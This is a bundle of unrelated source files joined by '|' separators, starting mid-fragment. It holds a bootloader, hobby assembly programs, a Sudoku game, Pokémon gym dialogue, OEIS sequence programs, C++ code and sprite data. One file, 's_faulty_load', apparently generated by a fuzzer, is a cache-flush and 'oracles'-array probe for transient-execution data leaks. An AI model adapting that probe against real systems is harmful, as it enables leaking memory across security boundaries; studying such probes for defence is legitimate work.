static void
fail(fusion::extension::class_member_proxy<T, N>&)
{
}
};
}}}
#endif
|
;; \file
;; \brief Bootloader stage1, MBR version.
;; \author Chris Smeele
;; \copyright Copyright (c) 2014, 2015, Chris Smeele. All rights reserved.
;; \license MIT. See LICENSE for the full license text.
[bits 16]
[org 0x7c00]
jmp 0x0000:start ; Far jump to start.
;; Disk address packet structure.
struct_dap:
db 0x10 ; DAP length.
db 0
db 0 ; Blocks to read, to be filled in by the installer (max 127).
db 0
dw 0x7e00 ; Destination offset.
dw 0x0000 ; Destination segment.
dq 0 ; The stage2 LBA, to be filled in by the installer.
u8_boot_device:
db 0
u64_loader_fs_id:
dq 0 ; Bootloader filesystem id, to be filled in by the installer.
s_loading: db "Loading... stage1 ", 0
s_err_no_int13h_extensions: db "Error: No int13h extensions present :(", 0
s_err_disk: db "Error: Could not read stage2 from boot disk 0x", 0
s_err_disk_2: db ", AH=0x", 0
s_err_magic: db "Error: No valid stage2 magic number found", 0
s_stage2_magic: db 0xfa, 0xf4, "STAGE2", 0, 0
s_stage2_magic_end:
putbr:
mov ax, 0x0e0a
int 0x10
mov ax, 0x0e0d
int 0x10
ret
;; Prints SI.
puts:
lodsb
or al, al
jz .done
mov ah, 0x0e
mov bx, 0x0007
int 0x10
jmp puts
.done:
ret
;; Prints a byte in DL in hexadecimal.
putbyte:
mov dh, 1 ; Higher nibble.
call .putnibble
mov dh, 0 ; Lower nibble.
call .putnibble
ret
.putnibble:
mov ah, 0x0e
mov al, dl
or dh, dh
jz .lower
.higher:
and al, 0xf0
shr al, 4
jmp .put
.lower:
and al, 0x0f
.put:
cmp al, 0x0a
jb .decimal
.hex:
add al, 'a' - 10
int 0x10
ret
.decimal:
add al, '0'
int 0x10
ret
has_int13h_extensions:
mov ah, 0x41
mov bx, 0x55aa
mov dl, [u8_boot_device]
int 0x13
jc .error
mov ax, 1
ret
.error:
xor ax, ax
ret
;; Entrypoint.
start:
cli
; Set up the stack.
mov ax, 0x9000
mov ss, ax
mov sp, 0xfbff
; Reset segment registers.
xor ax, ax
; The code segment is already set to 0x0000 by the far jump.
mov ds, ax
mov es, ax
mov fs, ax
mov gs, ax
sti
mov [u8_boot_device], dl
call putbr
mov si, s_loading
call puts
call has_int13h_extensions
or ax, ax
jz .int13h_error
.load_stage2:
mov si, struct_dap
mov ah, 0x42
mov dl, [u8_boot_device]
int 0x13
jc .error
.magic_check:
mov si, s_stage2_magic
mov di, 0x7e00
.magic_loop:
lodsb
mov bl, [di]
inc di
cmp al, bl
jne .magic_error
or al, al
jnz .magic_loop
; Jump to stage2. Pass the boot device number in AL and a pointer to the FS id in DX.
mov al, [u8_boot_device]
xor ah, ah
lea dx, [u64_loader_fs_id]
jmp 0x0000:(0x7e00 + s_stage2_magic_end - s_stage2_magic)
.magic_error:
call putbr
mov si, s_err_magic
call puts
jmp halt
.error:
push ax
call putbr
mov si, s_err_disk
call puts
mov dl, [u8_boot_device]
call putbyte
mov si, s_err_disk_2
call puts
pop dx
call putbyte
jmp halt
.int13h_error
call putbr
mov si, s_err_no_int13h_extensions
call puts
jmp halt
halt:
cli
hlt
times 510 - ($ - $$) db 0
dw 0xaa55
|
; Autor:
; Brown Ramírez, Belinda
; timna.brown@ucr.ac.cr
; num > -50 -> stored high positions
begin:
CLRB ; clean B
CLRA ; clean A
LDAB # 200 ; load in B
LDX # DATOS
LDAA # -50 ;load value in A
LDY # MAYORES
forloop:
CMPA 1, X+ ; compare - if > -50 -> bool output
BLE ifend ; branch if less than or equal signed if output ==1
MOVA -1, X, Y ; byte move
INY ; + 1 index of reg Y
ifend:
DBNE B, forloop ; if not 200 continue looping
end:
JMP end
|
.export _V14large_functionv
_V14large_functionv:
xor rax, rax
xor rcx, rcx
xor rdx, rdx
xor r8, r8
xor r9, r9
xor r10, r10
xor r11, r11
pxor xmm1, xmm1
pxor xmm2, xmm2
pxor xmm3, xmm3
pxor xmm4, xmm4
pxor xmm5, xmm5
pxor xmm6, xmm6
pxor xmm7, xmm7
pxor xmm8, xmm8
pxor xmm9, xmm9
pxor xmm10, xmm10
pxor xmm11, xmm11
pxor xmm12, xmm12
pxor xmm13, xmm13
pxor xmm14, xmm14
pxor xmm15, xmm15
ret
|
; ------------------------------------------------------------------
; MichalOS Sudoku
; ------------------------------------------------------------------
%INCLUDE "michalos.inc"
start:
call draw_background
mov ax, .list
mov bx, .listmsg
mov cx, .listmsg2
call os_list_dialog
jc .exit
dec ax
mov bx, 81
mul bx
add ax, level_easy
mov [level_pointer], ax
mov si, ax
mov bx, 0
.clear_loop:
mov al, [si + bx]
cmp al, 10
jl .dont_clear
mov al, 0
mov [si + bx], al
.dont_clear:
inc bx
cmp bx, 81
jne .clear_loop
call draw_background
call os_hide_cursor
.loop:
call check_board
call draw_board
call os_wait_for_key
cmp al, '0'
jl .not_a_number
cmp al, '9'
jle .put_number
.not_a_number:
cmp ah, 72
je .go_up
cmp ah, 75
je .go_left
cmp ah, 77
je .go_right
cmp ah, 80
je .go_down
cmp al, 27
jne .loop
jmp start
.exit:
ret
.put_number:
sub al, '0' - 10
cmp al, 10
jne .no_clear
mov al, 0
.no_clear:
mov dx, [cursor_x] ; Load the entire word
call sub_set_board_number
jmp .loop
.go_up:
cmp byte [cursor_y], 0
je .loop
dec byte [cursor_y]
jmp .loop
.go_down:
cmp byte [cursor_y], 8
je .loop
inc byte [cursor_y]
jmp .loop
.go_left:
cmp byte [cursor_x], 0
je .loop
dec byte [cursor_x]
jmp .loop
.go_right:
cmp byte [cursor_x], 8
je .loop
inc byte [cursor_x]
jmp .loop
.list db 'Easy,Medium,Hard', 0
.listmsg db 'Welcome to MichalOS Sudoku!', 0
.listmsg2 db 0
check_board:
pusha
call check_free_spaces
; Check if the board is done
mov byte [tmp_table_ptr], 0
.rule_loop:
mov di, tmp_num_table
mov al, 0
mov cx, 9
rep stosb
movzx bx, byte [tmp_table_ptr]
movzx si, byte [offset_table + bx]
add si, [level_pointer]
mov ax, bx
mov bx, 9
xor dx, dx
div bx ; Get the offset to the "offset_add" table
mul bx
mov cx, bx ; Counter
mov bx, ax ; Offset of "offset_add"
.number_loop:
push si
movzx ax, byte [offset_add + bx]
add si, ax
lodsb
pop si
cmp al, 10
jl .no_adjust
sub al, 10
.no_adjust:
push bx
movzx bx, al
inc byte [tmp_num_table + bx - 1]
pop bx
inc bx
loop .number_loop
mov si, expected_table
mov di, tmp_num_table
mov cx, 9
rep cmpsb
jne .fail
inc byte [tmp_table_ptr]
cmp byte [tmp_table_ptr], 9 * 3
jne .rule_loop
jmp game_end
.fail:
popa
ret
offset_table db 0, 9, 18, 27, 36, 45, 54, 63, 72, 0, 1, 2, 3, 4, 5, 6, 7, 8, 0, 3, 6, 27, 30, 33, 54, 57, 60
offset_add db 0, 1, 2, 3, 4, 5, 6, 7, 8, 0, 9, 18, 27, 36, 45, 54, 63, 72, 0, 1, 2, 9, 10, 11, 18, 19, 20
expected_table times 9 db 1
tmp_table_ptr db 0
tmp_num_table times 9 db 0
game_end:
popa
add sp, 2 ; There is no "ret"
mov ax, .winmsg
xor bx, bx
xor cx, cx
xor dx, dx
call os_dialog_box
jmp start
.winmsg db 'You win!', 0
check_free_spaces:
pusha
mov si, [level_pointer]
mov bx, 0
mov cx, 0
.loop:
lodsb
cmp al, 0
jne .no_free_space
inc cx
.no_free_space:
inc bx
cmp bx, 81
jne .loop
mov dh, 22
mov dl, 1
call os_move_cursor
mov si, .free_msg
call os_print_string
mov ax, cx
call os_int_to_string
mov si, ax
call os_print_string
call os_print_space
popa
ret
.free_msg db 'Free spaces: ', 0
draw_board:
pusha
mov dl, 27
mov dh, 5
call os_move_cursor
mov bx, 0
call sub_draw_line
inc dh
call os_move_cursor
mov si, .x_spacer
call os_print_string
mov si, [level_pointer]
mov cx, 0
.loop:
lodsb
cmp al, 10
jl .no_adjust
sub al, 10
pusha
mov ax, 0920h
mov bx, 0Fh
mov cx, 1
int 10h
popa
.no_adjust:
cmp al, 0
je .no_print
call os_print_1hex
jmp .print_end
.no_print:
call os_print_space
.print_end:
call os_print_space
inc cl
cmp cl, 3
jne .no_x_spacer
pusha
mov si, .x_spacer
call os_print_string
popa
mov cl, 0
inc ch
cmp ch, 3
jne .no_x_spacer
mov ch, 0
inc dh
call os_move_cursor
inc bl
cmp bl, 3
jne .no_y_spacer
mov bl, 0
inc bh
call sub_draw_line
inc dh
call os_move_cursor
cmp dh, 5 + 13
je .exit
.no_y_spacer:
pusha
mov si, .x_spacer
call os_print_string
popa
.no_x_spacer:
jmp .loop
.exit:
movzx bx, byte [cursor_x]
mov dl, [.x_cursor_coords + bx]
movzx bx, byte [cursor_y]
mov dh, [.y_cursor_coords + bx]
call os_move_cursor
mov ax, 0910h
mov bx, 0Eh
mov cx, 1
int 10h
add dl, 2
call os_move_cursor
mov al, 11h
int 10h
popa
ret
.x_spacer db 0B3h, 020h, 0
.x_cursor_coords db 28, 30, 32, 36, 38, 40, 44, 46, 48
.y_cursor_coords db 6, 7, 8, 10, 11, 12, 14, 15, 16
sub_get_board_number: ; In: DL/DH = X/Y position, out: AL = number
pusha
mov al, dh
mov bl, 9
mul bl
add al, dl
movzx si, al
add si, [level_pointer]
lodsb
mov [.tmp], al
popa
mov al, [.tmp]
ret
.tmp db 0
sub_set_board_number: ; In: DL/DH = X/Y position, AL = number
pusha
push ax
mov al, dh
mov bl, 9
mul bl
add al, dl
movzx di, al
add di, [level_pointer]
pop ax
cmp byte [di], 1
jl .free_space
cmp byte [di], 10
jl .exit
.free_space:
stosb
.exit:
popa
ret
sub_draw_line: ; In: BH = line number (0-3)
pusha
shl bh, 2
movzx bx, bh
mov si, .chars_top
add si, bx
lodsb
call sub_putchar
mov dx, 3
mov cx, 7
.loop:
mov al, 0C4h
call sub_putchar
loop .loop
lodsb
call sub_putchar
mov cx, 7
dec dx
cmp dx, 0
jne .loop
popa
ret
.chars_top db 0DAh, 0C2h, 0C2h, 0BFh
.chars_center1 db 0C3h, 0C5h, 0C5h, 0B4h
.chars_center2 db 0C3h, 0C5h, 0C5h, 0B4h
.chars_bottom db 0C0h, 0C1h, 0C1h, 0D9h
sub_putchar:
pusha
mov ah, 0Eh
mov bh, 0
int 10h
popa
ret
draw_background:
mov ax, .title_msg
mov bx, .footer_msg
mov cx, 7
call os_draw_background
ret
.title_msg db 'MichalOS Sudoku', 0
.footer_msg db '[', 18h, 2Fh, 19h, 2Fh, 1Bh, 2Fh, 1Ah, '] - Move the cursor, [1-9] - Enter a number, [0] - Clear', 0
; ------------------------------------------------------------------
level_pointer dw level_easy
cursor_x db 0
cursor_y db 0
level_easy:
db 0, 5, 0, 0, 8, 1, 0, 0, 7
db 4, 6, 0, 0, 0, 0, 3, 5, 0
db 0, 0, 1, 3, 4, 0, 0, 6, 0
db 0, 0, 4, 8, 0, 6, 0, 0, 9
db 8, 0, 7, 0, 5, 0, 2, 0, 6
db 6, 0, 0, 1, 0, 2, 7, 0, 0
db 0, 1, 0, 0, 3, 4, 6, 0, 0
db 0, 8, 6, 0, 0, 0, 0, 2, 3
db 2, 0, 0, 7, 6, 0, 0, 9, 0
level_medium:
db 0, 7, 0, 0, 2, 0, 0, 3, 0
db 8, 0, 0, 0, 0, 0, 0, 0, 9
db 0, 0, 5, 0, 9, 0, 4, 0, 0
db 0, 5, 0, 0, 8, 0, 0, 4, 0
db 3, 0, 1, 9, 0, 7, 6, 0, 2
db 0, 9, 0, 0, 6, 0, 0, 8, 0
db 0, 0, 9, 0, 7, 0, 8, 0, 0
db 1, 0, 0, 0, 0, 0, 0, 0, 6
db 0, 4, 0, 0, 5, 0, 0, 7, 0
level_hard:
db 0, 0, 0, 1, 6, 8, 0, 0, 0
db 0, 0, 0, 4, 7, 9, 1, 0, 0
db 0, 0, 0, 0, 0, 0, 0, 0, 0
db 2, 0, 0, 0, 0, 6, 4, 0, 7
db 1, 0, 0, 3, 0, 0, 5, 0, 9
db 0, 0, 9, 0, 0, 7, 0, 8, 0
db 0, 0, 0, 0, 0, 0, 2, 0, 0
db 0, 0, 8, 0, 0, 0, 7, 0, 3
db 0, 0, 5, 6, 4, 3, 0, 0, 0
|
_LTSurgePostBattleAdviceText::
text "A little word of"
line "advice, kid!"
para "Electricity is"
line "sure powerful!"
para "But, it's useless"
line "against ground-"
cont "type #MON!"
done
_LTSurgeThunderBadgeInfoText::
text "The THUNDERBADGE"
line "cranks up your"
cont "#MON's SPEED!"
para "It also lets your"
line "#MON FLY any"
cont "time, kid!"
para "You're special,"
line "kid! Take this!"
done
_ReceivedTM24Text::
text "<PLAYER> received "
line "@"
text_ram wcf4b
text "!@"
text_end
_TM24ExplanationText::
text_start
para "TM24 contains"
line "THUNDERBOLT!"
para "Teach it to an"
line "electric #MON!"
done
_TM24NoRoomText::
text "Yo kid, make room"
line "in your pack!"
done
_ReceivedThunderBadgeText::
text "Whoa!"
para "You're the real"
line "deal, kid!"
para "Fine then, take"
line "the THUNDERBADGE!"
prompt
_VermilionGymBattleText1::
text "When I was in the"
line "Army, LT.SURGE"
cont "was my strict CO!"
done
_VermilionGymEndBattleText1::
text "Stop!"
line "You're very good!"
prompt
_VermilionGymAfterBattleText1::
text "The door won't"
line "open?"
para "LT.SURGE always"
line "was cautious!"
done
_VermilionGymBattleText2::
text "I'm a lightweight,"
line "but I'm good with"
cont "electricity!"
done
_VermilionGymEndBattleText2::
text "Fried!"
prompt
_VermilionGymAfterBattleText2::
text "OK, I'll talk!"
para "LT.SURGE said he"
line "hid door switches"
cont "inside something!"
done
_VermilionGymBattleText3::
text "This is no place"
line "for kids!"
done
_VermilionGymEndBattleText3::
text "Wow!"
line "Surprised me!"
prompt
_VermilionGymAfterBattleText3::
text "LT.SURGE set up"
line "double locks!"
cont "Here's a hint!"
para "When you open the"
line "1st lock, the 2nd"
cont "lock is right"
cont "next to it!"
done
_VermilionGymGuidePreBattleText::
text "Yo! Champ in"
line "the making!"
para "LT.SURGE has a"
line "nickname. People"
cont "refer to him as"
cont "the Lightning"
cont "American!"
para "He's an expert on"
line "electric #MON!"
para "Birds and water"
line "#MON are at"
cont "risk! Beware of"
cont "paralysis too!"
para "LT.SURGE is very"
line "cautious!"
para "You'll have to"
line "break a code to"
cont "get to him!"
done
_VermilionGymGuidePostBattleText::
text "Whew! That match"
line "was electric!"
done
|
; FragExt - Shell extension for providing file fragmentation
; information.
;
; Copyright (C) 2004-2010 Jeremy Boschen. All rights reserved.
;
; This software is provided 'as-is', without any express or implied
; warranty. In no event will the authors be held liable for any damages
; arising from the use of this software.
;
; Permission is granted to anyone to use this software for any purpose,
; including commercial applications, and to alter it and redistribute it
; freely, subject to the following restrictions:
;
; 1. The origin of this software must not be misrepresented; you must not
; claim that you wrote the original software. If you use this software in
; a product, an acknowledgment in the product documentation would be
; appreciated but is not required.
;
; 2. Altered source versions must be plainly marked as such, and must not
; be misrepresented as being the original software.
;
; 3. This notice may not be removed or altered from any source
; distribution.
;
; X86WndProcProxy.asm
; Proxy function for transferring from a static WndProc to a class member
; function of the same type.
;
; Copyright (C) 2004-2010 Jeremy Boschen
;
.386
.MODEL FLAT, STDCALL
OPTION CASEMAP:none
OPTION PROLOGUE:None
OPTION EPILOGUE:None
_TEXT SEGMENT
.CODE
EXTERN WndProc:PROC
PUBLIC X86WndProcProxy
X86WndProcProxy PROC
pop eax
push dword ptr 00112233h
push eax
jmp offset WndProc
X86WndProcProxy ENDP
_TEXT ENDS
END
|
.global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0x51af, %rsi
lea addresses_A_ht+0x1873f, %rdi
clflush (%rsi)
sub $35459, %r8
mov $124, %rcx
rep movsb
sub $51797, %r14
lea addresses_D_ht+0xd237, %rsi
lea addresses_WC_ht+0xd5af, %rdi
nop
nop
nop
nop
cmp $16348, %rbx
mov $19, %rcx
rep movsq
nop
and %rdi, %rdi
lea addresses_UC_ht+0x1c287, %rsi
lea addresses_WT_ht+0x191af, %rdi
nop
nop
nop
nop
cmp $25881, %rax
mov $109, %rcx
rep movsq
nop
nop
nop
nop
nop
sub %rbx, %rbx
lea addresses_D_ht+0xd4c1, %rsi
clflush (%rsi)
cmp $31409, %rax
mov $0x6162636465666768, %r8
movq %r8, (%rsi)
nop
xor $22849, %r8
lea addresses_WC_ht+0xe0cf, %rax
nop
nop
nop
nop
nop
and $14448, %rbx
movb (%rax), %r14b
nop
nop
nop
sub %rax, %rax
lea addresses_normal_ht+0x11faf, %rdi
nop
nop
nop
inc %rsi
mov $0x6162636465666768, %r8
movq %r8, %xmm1
vmovups %ymm1, (%rdi)
nop
nop
nop
nop
nop
sub $56308, %rdi
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r14
push %r15
push %rax
push %rbp
push %rcx
push %rsi
// Store
lea addresses_A+0xe32f, %rbp
nop
nop
nop
and %rax, %rax
movl $0x51525354, (%rbp)
nop
nop
nop
nop
xor $30858, %rsi
// Store
lea addresses_normal+0x1c2af, %rcx
nop
nop
nop
add %r14, %r14
mov $0x5152535455565758, %r10
movq %r10, (%rcx)
nop
nop
nop
nop
nop
sub $6828, %r15
// Store
lea addresses_PSE+0xa9af, %rax
nop
nop
nop
nop
add $40005, %rbp
movw $0x5152, (%rax)
nop
dec %r10
// Faulty Load
lea addresses_WC+0x135af, %rax
nop
nop
nop
nop
nop
cmp %r15, %r15
mov (%rax), %ebp
lea oracles, %rsi
and $0xff, %rbp
shlq $12, %rbp
mov (%rsi,%rbp,1), %rbp
pop %rsi
pop %rcx
pop %rbp
pop %rax
pop %r15
pop %r14
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 5, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_PSE', 'AVXalign': False, 'congruent': 9, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 4, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_UC_ht', 'congruent': 1, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; A060458: Maximal value seen in the final n decimal digits of 2^j for all values of j.
; 8,96,992,9984,99968,999936,9999872,99999744,999999488,9999998976,99999997952,999999995904,9999999991808,99999999983616,999999999967232,9999999999934464,99999999999868928,999999999999737856
add $0,1
mov $1,10
pow $1,$0
mov $2,2
pow $2,$0
sub $1,$2
mov $0,$1
|
; A212677: Number of (w,x,y,z) with all terms in {1,...,n} and w+y=|x-y|+|y-z|.
; 0,0,1,7,21,46,86,144,223,327,459,622,820,1056,1333,1655,2025,2446,2922,3456,4051,4711,5439,6238,7112,8064,9097,10215,11421,12718,14110,15600,17191,18887,20691,22606,24636,26784,29053,31447,33969
mov $12,$0
mov $14,$0
lpb $14,1
clr $0,12
mov $0,$12
sub $14,1
sub $0,$14
mov $9,$0
mov $11,$0
lpb $11,1
mov $0,$9
sub $11,1
sub $0,$11
mov $1,$0
mul $1,20
div $1,6
trn $1,5
add $10,$1
lpe
add $13,$10
lpe
mov $1,$13
|
/*
Copyright 2016 Jonathan Bayle, Thomas Medioni
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
#ifndef V_OBJECT_HPP
#define V_OBJECT_HPP
#pragma once
#include <forward_list>
#include <functional>
#include <list>
namespace vivace {
// Base class for "things" handled by mainloops
class Object {
public:
// Update this object
virtual void update() = 0;
// Draw this object
virtual void draw() = 0;
// Handle event (not a TIMER event)
virtual void handle(const ALLEGRO_EVENT& event) = 0;
};
// An implementation that delegates to multiple instances
class Object_aggregator: public Object {
public:
Object_aggregator() {};
Object_aggregator(Object_aggregator& v) = delete;
// Add given object to a forward_list (insert at head)
// Objects will be visited in the reverse order
void add(Object& object);
virtual void update();
virtual void draw();
virtual void handle(const ALLEGRO_EVENT& event);
protected:
std::forward_list<std::reference_wrapper<Object>> objects;
};
// Delegates to multiple functions
class Object_split_aggregator: public Object {
public:
Object_split_aggregator() {};
Object_split_aggregator(Object_split_aggregator& v) = delete;
virtual void update();
virtual void draw();
virtual void handle(const ALLEGRO_EVENT& event);
// Add a draw() function to a list
// At front (first visited) or at back (last visited)
void add_draw_front(std::function<void()> draw_func);
void add_draw_back(std::function<void()> draw_func);
// Add an update() function to a forward_list
void add_update(std::function<void()> update_func);
// Add a handle() function to a forward_list
void add_handle(std::function<void(const ALLEGRO_EVENT&)> handle_func);
protected:
std::list<std::function<void()>> draw_functions;
std::forward_list<std::function<void()>> update_functions;
std::forward_list<std::function<void(const ALLEGRO_EVENT&)>> handle_functions;
};
} // namespace vivace
#endif // V_OBJECT_HPP |
#include "middle.hpp"
template <class T>
bool middle(vector<T>& vec, T& m)
{
vector<T> temp = vec;
sort(temp.begin(), temp.end());
if(temp.size() == 0)
return false;
m = temp[temp.size()/2];
return true;
}
|
* = $3000
// sprite 0 / singlecolor / color: $0d
figure_0:
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01110000,%00000000
.byte %00000000,%11111000,%00000000
.byte %00000001,%10111100,%00000000
.byte %00000011,%00110110,%00000000
.byte %00000011,%00110011,%00000000
.byte %00000001,%10110011,%00000000
.byte %00000001,%10110110,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%11001100,%00000000
.byte %00000000,%11001100,%00000000
.byte %00000001,%10000110,%00000000
.byte %00000001,%10000110,%00000000
.byte %00000011,%00000011,%00000000
.byte %00000011,%00000011,%00000000
.byte $00
// sprite 1 / singlecolor / color: $0d
figure_1:
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%11111110,%00000000
.byte %00000001,%10111011,%10000000
.byte %00000011,%00111000,%11100000
.byte %00000110,%00111000,%00000000
.byte %00000100,%00111000,%00000000
.byte %00000000,%00111100,%00000000
.byte %00000000,%00111100,%00000000
.byte %00000000,%00111110,%00000000
.byte %00000000,%01110110,%00000000
.byte %00000000,%01100110,%00000000
.byte %00000000,%11100011,%00000000
.byte %00000001,%11000011,%00000000
.byte %00000011,%10000001,%10000000
.byte %00000111,%00000001,%10000000
.byte %00000110,%00000000,%11000000
.byte $00
// sprite 2 / singlecolor / color: $0d
figure_2:
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%11111100,%00000000
.byte %00000000,%10111110,%00000000
.byte %00000001,%10111011,%00000000
.byte %00000001,%00111001,%10000000
.byte %00000011,%00111000,%10000000
.byte %00000010,%00111100,%00000000
.byte %00000000,%00111100,%00000000
.byte %00000000,%00111110,%00000000
.byte %00000000,%01110110,%00000000
.byte %00000000,%01100111,%00000000
.byte %00000000,%11100011,%00000000
.byte %00000111,%11000011,%00000000
.byte %00000111,%10000011,%00000000
.byte %00000000,%00000111,%00000000
.byte %00000000,%00000110,%00000000
.byte $00
// sprite 3 / singlecolor / color: $0d
figure_3:
.byte %00000000,%00000000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%00110000,%00000000
.byte %00000000,%01111000,%00000000
.byte %00000000,%11111100,%00000000
.byte %00000000,%11111100,%00000000
.byte %00000000,%10111010,%00000000
.byte %00000001,%10111010,%00000000
.byte %00000001,%00111100,%00000000
.byte %00000000,%00111100,%00000000
.byte %00000000,%00111100,%00000000
.byte %00000000,%01111110,%00000000
.byte %00000001,%11101110,%00000000
.byte %00001111,%11000110,%00000000
.byte %00000110,%00000110,%00000000
.byte %00000000,%00000110,%00000000
.byte %00000000,%00001100,%00000000
.byte %00000000,%00001100,%00000000
.byte $00
